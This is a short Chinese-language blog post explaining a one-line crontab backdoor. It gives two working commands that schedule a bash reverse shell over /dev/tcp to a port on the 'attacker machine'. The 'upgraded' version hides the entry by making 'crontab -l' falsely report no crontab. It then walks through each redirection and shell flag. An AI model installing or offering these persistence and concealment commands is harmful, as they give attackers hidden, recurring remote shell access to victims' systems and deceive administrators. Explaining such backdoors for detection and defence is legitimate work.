1. 程式人生 > >crontab一句話後門分析

crontab一句話後門分析

正常版本

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -


升級猥瑣版本

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n
")|crontab -

crontab -l直接提示no crontab 

 

分析:

echo '*/60 * * * *'

crontab格式 每隔60分鐘執行一次

exec 9<>/dev/tcp/127.0.0.1/8888

以讀寫方式開啟/dev/tcp,並指定伺服器名為:127.0.0.1(攻擊機) 埠號為:8888,指定描述符為9

要注意的是:/dev/tcp本身是不存在的,在/dev目錄下是找不到的

exec 0<&9;exec 1>&9 2>&1;

linux 三個基本檔案描述符 0:stdin 1:stdout 2:stderr

n >&m 表示使檔案描述符n成為描述符m的副本

exec 0<&9;   將fd9從定向到標準輸入;

exec 1>&9 2>&1;   將標準輸出從定向到檔案fd9,將標準錯誤從定向到標準輸出.

簡單的理解為fd9=fd0  fd1=fd9 所以我的理解是,fd9從標準輸入讀入字元,處理後結果用標準輸出輸出.

/bin/bash --noprofile -i

開啟一個shell

附:shell後門指令碼大全